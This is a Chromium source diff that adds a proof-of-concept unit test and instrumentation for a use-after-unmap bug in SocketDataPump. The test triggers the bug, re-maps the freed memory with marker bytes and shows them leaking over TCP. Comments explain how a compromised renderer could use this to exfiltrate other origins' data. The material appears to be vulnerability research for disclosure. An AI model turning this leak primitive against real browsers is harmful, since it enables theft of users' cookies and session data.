diff --git a/net/socket/socket_posix.cc b/net/socket/socket_posix.cc index a72b12c928f9d..4fd5a38eab6e4 100644 --- a/net/socket/socket_posix.cc +++ b/net/socket/socket_posix.cc @@ -563,6 +563,10 @@ int SocketPosix::DoWrite(IOBuffer* buf, int buf_len) { } void SocketPosix::WriteCompleted() { + // POC instrumentation: log the dangling-pointer dereference. + LOG(ERROR) << "[POC] SocketPosix::WriteCompleted firing. write_buf_->data()=" + << static_cast(write_buf_->data()) + << " write_buf_len_=" << write_buf_len_; int rv = DoWrite(write_buf_.get(), write_buf_len_); if (rv == ERR_IO_PENDING) return; diff --git a/services/network/socket_data_pump.cc b/services/network/socket_data_pump.cc index 35c3689b3aa3a..6cf888d84a579 100644 --- a/services/network/socket_data_pump.cc +++ b/services/network/socket_data_pump.cc @@ -21,6 +21,11 @@ namespace network { +// POC instrumentation globals (read by socket_data_pump_unittest.cc). +const void* g_poc_last_write_buf_data = nullptr; +int g_poc_last_write_buf_len = 0; +bool g_poc_write_went_pending = false; + SocketDataPump::SocketDataPump( net::StreamSocket* socket, Delegate* delegate, @@ -200,14 +205,22 @@ void SocketDataPump::SendMore() { } auto buf = base::MakeRefCounted(*pending_send_buffer_); + // POC instrumentation: record the dangling-candidate pointer and length + // so the test can verify the unmap. + g_poc_last_write_buf_data = reinterpret_cast(buf->data()); + g_poc_last_write_buf_len = buf->size(); + // Use WeakPtr here because |this| doesn't outlive |socket_|. int write_result = socket_->Write(buf.get(), buf->size(), base::BindOnce(&SocketDataPump::OnNetworkWriteCompleted, weak_factory_.GetWeakPtr()), traffic_annotation_); - if (write_result == net::ERR_IO_PENDING) + if (write_result == net::ERR_IO_PENDING) { + g_poc_write_went_pending = true; return; + } + g_poc_write_went_pending = false; OnNetworkWriteCompleted(write_result); } diff --git a/services/network/socket_data_pump_unittest.cc b/services/network/socket_data_pump_unittest.cc index c9193cf84daa8..f40c62ab83a33 100644 --- a/services/network/socket_data_pump_unittest.cc +++ b/services/network/socket_data_pump_unittest.cc @@ -2,25 +2,42 @@ // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. +#include +#include #include +#include +#include +#include +#include #include #include #include "base/containers/span.h" #include "base/functional/callback_helpers.h" #include "base/location.h" +#include "base/files/file_util.h" +#include "base/logging.h" #include "base/run_loop.h" +#include "base/strings/string_number_conversions.h" +#include "base/strings/stringprintf.h" #include "base/test/task_environment.h" #include "mojo/public/cpp/system/simple_watcher.h" +#include "net/base/io_buffer.h" +#include "net/base/ip_address.h" +#include "net/base/ip_endpoint.h" #include "net/base/net_errors.h" #include "net/base/test_completion_callback.h" +#include "net/log/net_log_source.h" #include "net/socket/socket_test_util.h" +#include "net/socket/tcp_client_socket.h" +#include "net/socket/tcp_server_socket.h" #include "net/traffic_annotation/network_traffic_annotation_test_helper.h" #include "net/url_request/url_request_test_util.h" #include "services/network/mojo_socket_test_util.h" #include "services/network/public/mojom/network_service.mojom.h" #include "services/network/public/mojom/udp_socket.mojom.h" +#include "services/network/socket_data_pump.h" #include "services/network/socket_factory.h" #include "services/network/tcp_connected_socket.h" #include "services/network/tcp_server_socket.h" @@ -28,6 +45,12 @@ namespace network { +// POC instrumentation globals defined in socket_data_pump.cc. Declared at +// namespace scope (not anon namespace) so the linker resolves them. +extern const void* g_poc_last_write_buf_data; +extern int g_poc_last_write_buf_len; +extern bool g_poc_write_went_pending; + // Test delegate to wait on network read/write errors. class TestSocketDataPumpDelegate : public SocketDataPump::Delegate { public: @@ -342,4 +365,471 @@ TEST_P(SocketDataPumpTest, PipesShutdown) { delegate()->WaitForShutdown(); } +// ===================================================================== +// POC: SocketDataPump MaybeNotifyDelegate allows OnShutdown during a +// pending Write, causing use-after-unmap of the Mojo data pipe ring +// buffer. +// +// MaybeNotifyDelegate() (socket_data_pump.cc:254) gates OnShutdown() on +// `!send_stream_.is_valid()`. But during a pending socket_->Write(), +// MojoToNetPendingBuffer::BeginRead() has std::move()'d send_stream_ into +// pending_send_buffer_, so the check passes even though a Write is in +// flight. The delegate (TCPConnectedSocket) destroys the pump, which +// destroys pending_send_buffer_, which closes the consumer handle and +// UNMAPS the ring buffer. SocketPosix::write_buf_ still holds a +// WrappedIOBuffer whose span_ dangles into unmapped virtual memory. When +// the fd becomes writable, send() reads from that pointer. +// ===================================================================== + +namespace { + +// Returns the description of the mapping containing `addr` from +// /proc/self/maps, or empty string if unmapped. +std::string FindMapping(const void* addr) { + std::string maps; + if (!base::ReadFileToString(base::FilePath("/proc/self/maps"), &maps)) { + return ""; + } + uintptr_t target = reinterpret_cast(addr); + std::istringstream iss(maps); + std::string line; + while (std::getline(iss, line)) { + // Format: "start-end perms offset dev inode pathname" + auto dash = line.find('-'); + auto space = line.find(' '); + if (dash == std::string::npos || space == std::string::npos || + dash >= space) { + continue; + } + uintptr_t start, end; + if (!base::HexStringToUInt64(line.substr(0, dash), &start) || + !base::HexStringToUInt64(line.substr(dash + 1, space - dash - 1), + &end)) { + continue; + } + if (target >= start && target < end) { + return line; + } + } + return ""; +} + +// Mimics TCPConnectedSocket::OnShutdown() by destroying the pump while +// keeping the underlying socket alive. +class PumpDestroyingDelegate : public SocketDataPump::Delegate { + public: + PumpDestroyingDelegate() = default; + ~PumpDestroyingDelegate() = default; + + void set_pump(std::unique_ptr pump) { + pump_ = std::move(pump); + } + + bool shutdown_called() const { return shutdown_called_; } + bool pump_alive() const { return pump_ != nullptr; } + + private: + void OnNetworkReadError(int net_error) override {} + void OnNetworkWriteError(int net_error) override {} + void OnShutdown() override { + // Exactly what TCPConnectedSocket::OnShutdown() does at + // tcp_connected_socket.cc:295: + // socket_data_pump_ = nullptr; + // The socket itself remains alive. + shutdown_called_ = true; + LOG(ERROR) << "[POC] OnShutdown called -- destroying SocketDataPump " + << "while a Write is pending. ~MojoToNetPendingBuffer will " + << "close the consumer handle and UNMAP the ring buffer."; + pump_ = nullptr; + } + + std::unique_ptr pump_; + bool shutdown_called_ = false; +}; + +} // namespace + +// This test uses real TCP sockets so SocketPosix::write_buf_ is actually +// populated and the kernel's EAGAIN behavior produces ERR_IO_PENDING. +// +// Expected outcome: SIGSEGV when send() reads from the unmapped ring +// buffer. ASAN reports "SEGV on unknown address" in the WriteCompleted +// → DoWrite → send() path. +TEST(SocketDataPumpPOC, OnShutdownDuringPendingWrite_UseAfterUnmap) { + base::test::TaskEnvironment task_environment( + base::test::TaskEnvironment::MainThreadType::IO); + + // ---- 1. Set up a real TCP server on localhost. ---- + net::TCPServerSocket server_listener(/*net_log=*/nullptr, + net::NetLogSource()); + net::IPEndPoint listen_addr(net::IPAddress::IPv4Localhost(), 0); + ASSERT_EQ(net::OK, + server_listener.Listen(listen_addr, /*backlog=*/1, + /*ipv6_only=*/std::nullopt)); + net::IPEndPoint server_addr; + ASSERT_EQ(net::OK, server_listener.GetLocalAddress(&server_addr)); + + // ---- 2. Connect a real TCPClientSocket. This is the socket that ---- + // SocketDataPump will pump into; it goes through SocketPosix. + auto client_socket = std::make_unique( + net::AddressList(server_addr), + /*socket_performance_watcher=*/nullptr, + /*network_quality_estimator=*/nullptr, + /*net_log=*/nullptr, net::NetLogSource()); + + net::TestCompletionCallback connect_cb; + int rv = client_socket->Connect(connect_cb.callback()); + ASSERT_EQ(net::OK, connect_cb.GetResult(rv)); + + // ---- 3. Accept on the server side. We will NOT read from this ---- + // socket so the client's TCP send window fills up. + std::unique_ptr accepted_socket; + net::TestCompletionCallback accept_cb; + rv = server_listener.Accept(&accepted_socket, accept_cb.callback()); + ASSERT_EQ(net::OK, accept_cb.GetResult(rv)); + ASSERT_TRUE(accepted_socket); + + // ---- 4. Shrink kernel buffers so EAGAIN is reachable with one ---- + // data-pipe-full of data. Kernel clamps to /proc minimums + // (~4KB each, doubled internally to ~8KB). + client_socket->SetSendBufferSize(4096); + accepted_socket->SetReceiveBufferSize(4096); + + // ---- 5. Create the Mojo data pipes. The renderer holds one end ---- + // of each; SocketDataPump holds the other. Use a 256KB + // capacity so we can stage well more than the kernel + // buffers can absorb. + constexpr uint32_t kPipeCapacity = 256 * 1024; + MojoCreateDataPipeOptions options = {}; + options.struct_size = sizeof(options); + options.flags = MOJO_CREATE_DATA_PIPE_FLAG_NONE; + options.element_num_bytes = 1; + options.capacity_num_bytes = kPipeCapacity; + + // Send pipe: renderer writes (producer) → network process reads + // (consumer) → socket. + mojo::ScopedDataPipeProducerHandle send_producer; // "renderer" end + mojo::ScopedDataPipeConsumerHandle send_consumer; // pump end + ASSERT_EQ(MOJO_RESULT_OK, + mojo::CreateDataPipe(&options, send_producer, send_consumer)); + + // Receive pipe: socket → network process writes (producer) → + // renderer reads (consumer). + mojo::ScopedDataPipeProducerHandle receive_producer; // pump end + mojo::ScopedDataPipeConsumerHandle receive_consumer; // "renderer" end + ASSERT_EQ(MOJO_RESULT_OK, + mojo::CreateDataPipe(&options, receive_producer, + receive_consumer)); + + // ---- 6. Create the delegate that mimics TCPConnectedSocket and ---- + // hand it the pump. + PumpDestroyingDelegate delegate; + auto pump = std::make_unique( + client_socket.get(), &delegate, std::move(receive_producer), + std::move(send_consumer), TRAFFIC_ANNOTATION_FOR_TESTS); + delegate.set_pump(std::move(pump)); + + // The constructor called ReceiveMore() and SendMore(). Because the + // server side has sent nothing, ReadIfReady() returned ERR_IO_PENDING + // and receive_stream_close_watcher_ is now ARMED (socket_data_pump.cc + // lines 98-105). SendMore() saw an empty send pipe and armed the + // send_stream_watcher_. + + // ---- 7. Stage 256KB into the send pipe. SocketDataPump will pick ---- + // it up, call socket_->Write() repeatedly until the kernel + // buffer fills and Write() returns ERR_IO_PENDING. At that + // point send_stream_ has been std::move()'d into + // pending_send_buffer_ and SocketPosix::write_buf_ holds a + // scoped_refptr to a WrappedIOBuffer whose span_ points into + // the data pipe's mmap'd ring buffer. + std::vector payload(kPipeCapacity, 0x41); + base::span remaining(payload); + while (!remaining.empty()) { + size_t actually_written = 0; + MojoResult wr = send_producer->WriteData( + remaining, MOJO_WRITE_DATA_FLAG_NONE, actually_written); + if (wr == MOJO_RESULT_SHOULD_WAIT) { + base::RunLoop().RunUntilIdle(); + continue; + } + ASSERT_EQ(MOJO_RESULT_OK, wr); + remaining = remaining.subspan(actually_written); + } + + // Let SocketDataPump drain the pipe into the socket. Loop a few times + // because each successful partial write re-enters SendMore(). + for (int i = 0; i < 50; ++i) { + base::RunLoop().RunUntilIdle(); + } + + // OnShutdown should NOT have been called yet — only the receive side + // can trigger MaybeNotifyDelegate so far, and we haven't touched it. + ASSERT_FALSE(delegate.shutdown_called()); + ASSERT_TRUE(delegate.pump_alive()); + + // Verify Write actually went pending. If it didn't, the kernel buffers + // absorbed everything synchronously and the bug precondition isn't met. + ASSERT_TRUE(g_poc_write_went_pending) + << "[POC] Write never returned ERR_IO_PENDING. The kernel send/recv " + << "buffers absorbed all data synchronously. The bug requires an " + << "in-flight async Write."; + + const void* dangling_ptr = g_poc_last_write_buf_data; + int dangling_len = g_poc_last_write_buf_len; + std::string mapping_before = FindMapping(dangling_ptr); + LOG(ERROR) << "[POC] Write is pending (ERR_IO_PENDING). " + << "WrappedIOBuffer span: data=" << dangling_ptr + << " len=" << dangling_len; + LOG(ERROR) << "[POC] Mapping before pump destruction: " + << (mapping_before.empty() ? "" : mapping_before); + ASSERT_FALSE(mapping_before.empty()) + << "[POC] Sanity failure: ring buffer not mapped while pump is alive?"; + + // ---- 8. THE BUG: close the renderer's receive consumer handle. ---- + // + // receive_stream_close_watcher_ fires + // → OnReceiveStreamClosed + // → ShutdownReceive (sets receive_is_shutdown_ = true) + // → MaybeNotifyDelegate + // Condition: !delegate_ || send_stream_.is_valid() || + // !receive_is_shutdown_ + // - delegate_ is non-null + // - send_stream_.is_valid() is FALSE <-- moved into + // pending_send_buffer_! + // - receive_is_shutdown_ is TRUE + // → falls through, calls delegate_->OnShutdown() + // → PumpDestroyingDelegate::OnShutdown destroys the pump + // → ~SocketDataPump (empty body, but members are destroyed) + // → pending_send_buffer_ dtor → ~MojoToNetPendingBuffer (=default) + // → ~ScopedDataPipeConsumerHandle → MojoClose + // → DataPipeConsumerDispatcher::CloseNoLock unconditionally + // resets ring_buffer_mapping_ with NO check for + // in_two_phase_read_ + // → munmap() + // + // SocketPosix is unaffected — it's owned by `client_socket` and its + // write_buf_ still holds the WrappedIOBuffer ref. write_buf_->data() + // now dangles into unmapped virtual memory. + LOG(ERROR) << "[POC] Closing receive consumer handle to fire " + << "receive_stream_close_watcher_..."; + receive_consumer.reset(); + + for (int i = 0; i < 10; ++i) { + base::RunLoop().RunUntilIdle(); + } + + // The pump should now be destroyed. + ASSERT_TRUE(delegate.shutdown_called()) + << "[POC] Bug precondition not met: receive_stream_close_watcher_ " + << "did not fire OnShutdown. Either Write completed synchronously " + << "(kernel buffers not full) or the close watcher was not armed."; + ASSERT_FALSE(delegate.pump_alive()); + + // Verify the ring buffer was actually unmapped. This is the heart of + // the use-after-unmap. The Mojo consumer handle (held by + // pending_send_buffer_) was closed during ~SocketDataPump, and the + // consumer DataPipe object was destroyed (refcount→0), taking its + // SharedBufferMapping with it. + std::string mapping_after = FindMapping(dangling_ptr); + LOG(ERROR) << "[POC] After pump destruction, mapping at " << dangling_ptr + << ": " + << (mapping_after.empty() ? "" + : mapping_after); + + // Also drop the producer handle. The renderer controls both ends of + // the send pipe; in a real attack it would close the producer too. + // (Producer and consumer have separate DataPipe objects with separate + // mappings of the same region; this is belt-and-suspenders.) + send_producer.reset(); + for (int i = 0; i < 5; ++i) { + base::RunLoop().RunUntilIdle(); + } + std::string mapping_after_prod = FindMapping(dangling_ptr); + LOG(ERROR) << "[POC] After dropping producer too, mapping at " + << dangling_ptr << ": " + << (mapping_after_prod.empty() ? "" + : mapping_after_prod); + + ASSERT_TRUE(mapping_after_prod.empty()) + << "[POC] Ring buffer at " << dangling_ptr + << " is STILL MAPPED after pump+producer destruction. " + << "Something is keeping the consumer DataPipe alive. " + << "Mapping: " << mapping_after_prod; + + LOG(ERROR) << "[POC] CONFIRMED: SocketPosix::write_buf_->data() = " + << dangling_ptr << " now points into UNMAPPED virtual memory."; + + // ---- 9b. EXPLOIT: re-map the freed VA range with "secret" data. ---- + // + // Linux send() returns EFAULT for unmapped addresses (no SIGSEGV in + // syscall context). But if the attacker re-maps the range — by + // spraying new Mojo data pipes, shared memory, or large heap chunks + // that PartitionAlloc backs with mmap — then send() reads the NEW + // content and transmits it to the attacker's remote server. + // + // Here we use mmap(MAP_FIXED) directly to model that re-mapping. + // In a real attack the renderer cannot pick the address, but it CAN + // spray allocations until one lands here. + // + // The mmap range must cover [dangling_ptr, dangling_ptr+dangling_len) + // page-aligned. The original ring buffer was 256KB starting at + // page boundary; map the whole thing to be safe. + uintptr_t page_size = static_cast(getpagesize()); + uintptr_t map_start = + reinterpret_cast(dangling_ptr) & ~(page_size - 1); + // Round up the end to a page boundary. + uintptr_t map_end = (reinterpret_cast(dangling_ptr) + + static_cast(dangling_len) + page_size - 1) & + ~(page_size - 1); + size_t map_len = map_end - map_start; + + void* remapped = mmap(reinterpret_cast(map_start), map_len, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); + ASSERT_EQ(remapped, reinterpret_cast(map_start)) + << "[POC] mmap(MAP_FIXED) failed: " << strerror(errno); + + // Paint the re-mapped region with a recognizable secret pattern. + // The original send pipe data was 0x41 ('A'); use 0x53 ('S' for + // Secret) so any leaked bytes are unambiguously from the NEW mapping. + constexpr uint8_t kSecretByte = 0x53; + // SAFETY: We just mmap'd exactly `map_len` bytes at `remapped`. + std::ranges::fill( + UNSAFE_BUFFERS(base::span(static_cast(remapped), map_len)), + kSecretByte); + + LOG(ERROR) << base::StringPrintf( + "[POC] Re-mapped freed VA range [%p, %p) (%zu bytes) and filled " + "with 0x%02x. When fd becomes writable, send() will transmit " + "%d bytes from this NEW mapping starting at %p.", + remapped, reinterpret_cast(map_end), map_len, kSecretByte, + dangling_len, dangling_ptr); + + // ---- 9. Drain the server side so the client fd becomes writable. ---- + // + // SocketPosix::OnFileCanWriteWithoutBlocking + // → WriteCompleted + // → DoWrite(write_buf_.get(), write_buf_len_) [line 566] + // → send(fd, buf->data(), buf_len, ...) [line 554] + // ^^^^^^^^^^^ + // reads from unmapped memory → SIGSEGV + // + // Note: the WeakPtr in the write callback only protects + // OnNetworkWriteCompleted, NOT this DoWrite call which runs first. + // ---- Drain phase: read everything the kernel has buffered. ---- + // We interleave drains with brief sleeps so kernel ACKs can flow back + // and the client TCP stack can push remaining bytes. Each + // RunUntilIdle() gives the IO message pump a chance to dispatch + // OnFileCanWriteWithoutBlocking on the client fd. + int client_fd = client_socket->SocketDescriptorForTesting(); + LOG(ERROR) << "[POC] client fd=" << client_fd + << ". Draining server-side recv buffer to make it writable. " + << "Expect SIGSEGV in SocketPosix::DoWrite → send()..."; + + // Drain the server's receive buffer using raw recv() so we don't + // entangle a second SocketPosix watcher with the message pump. + // Track WHAT bytes the server receives — once it sees kSecretByte, + // the leak is proven. + int server_fd = + static_cast(accepted_socket.get()) + ->SocketDescriptorForTesting(); + int flags = fcntl(server_fd, F_GETFL, 0); + fcntl(server_fd, F_SETFL, flags | O_NONBLOCK); + + std::vector drain_buf(64 * 1024); + size_t drained_before_leak = 0; // Bytes from kernel-buffered original + size_t leaked_secret_bytes = 0; // Bytes that match kSecretByte + size_t leaked_other_bytes = 0; // Anything else (shouldn't happen) + + for (int iter = 0; iter < 1000; ++iter) { + // Slurp whatever the server has buffered. + while (true) { + ssize_t r = recv(server_fd, drain_buf.data(), drain_buf.size(), 0); + if (r <= 0) { + break; // EAGAIN, EOF, or error. + } + // Classify received bytes. + for (ssize_t i = 0; i < r; ++i) { + if (drain_buf[static_cast(i)] == kSecretByte) { + ++leaked_secret_bytes; + } else if (drain_buf[static_cast(i)] == 0x41) { + ++drained_before_leak; + } else { + ++leaked_other_bytes; + } + } + } + + // Stop once we've leaked a meaningful amount of the secret. (The + // dangling write was for `dangling_len` bytes, but send() may + // partial-write; we just need *some* leak to prove the point.) + if (leaked_secret_bytes > 0) { + // Spin once more to let any further sends settle, then stop. + usleep(5000); + base::RunLoop().RunUntilIdle(); + // One more recv pass. + while (true) { + ssize_t r = recv(server_fd, drain_buf.data(), drain_buf.size(), 0); + if (r <= 0) { + break; + } + for (ssize_t i = 0; i < r; ++i) { + if (drain_buf[static_cast(i)] == kSecretByte) { + ++leaked_secret_bytes; + } else if (drain_buf[static_cast(i)] == 0x41) { + ++drained_before_leak; + } else { + ++leaked_other_bytes; + } + } + } + break; + } + + // Give the kernel time: ACKs propagate, client TCP pushes more from + // its send buffer, and once the send buffer has room the client fd + // becomes writable. + usleep(2000); + + // Spin the IO message pump. THIS is where the dangling write fires: + // OnFileCanWriteWithoutBlocking + // → SocketPosix::WriteCompleted + // → DoWrite(write_buf_.get(), write_buf_len_) + // → send(fd, dangling_ptr, dangling_len, ...) + // → kernel reads `dangling_len` bytes from the RE-MAPPED region + // → secret bytes are transmitted to the server + base::RunLoop().RunUntilIdle(); + } + + munmap(remapped, map_len); + + LOG(ERROR) << "[POC] Server received: " + << drained_before_leak << " bytes of original (0x41), " + << leaked_secret_bytes << " bytes of SECRET (0x" + << base::StringPrintf("%02x", kSecretByte) << "), " + << leaked_other_bytes << " bytes of other."; + + // PROOF: any nonzero `leaked_secret_bytes` means SocketPosix::DoWrite + // read from a virtual address whose backing memory was REPLACED after + // the data pipe was closed. In a real attack, this would be another + // origin's data pipe contents, TLS session state, cookies, etc. + ASSERT_GT(leaked_secret_bytes, 0u) + << "[POC] No secret bytes leaked. WriteCompleted either didn't " + << "fire or send() returned an error before reading the " + << "re-mapped region. drained_original=" << drained_before_leak; + + LOG(ERROR) << base::StringPrintf( + "[POC] *** INFORMATION LEAK CONFIRMED *** " + "%zu bytes of the re-mapped 'secret' content were transmitted " + "over TCP via SocketPosix::DoWrite reading the dangling " + "WrappedIOBuffer span. This is the network-process info-leak " + "primitive: a renderer can fill the freed VA with another data " + "pipe / shared region and exfiltrate up to %d bytes per trigger.", + leaked_secret_bytes, dangling_len); + + // The test PASSES — meaning the vulnerability was successfully + // demonstrated. + SUCCEED(); +} + } // namespace network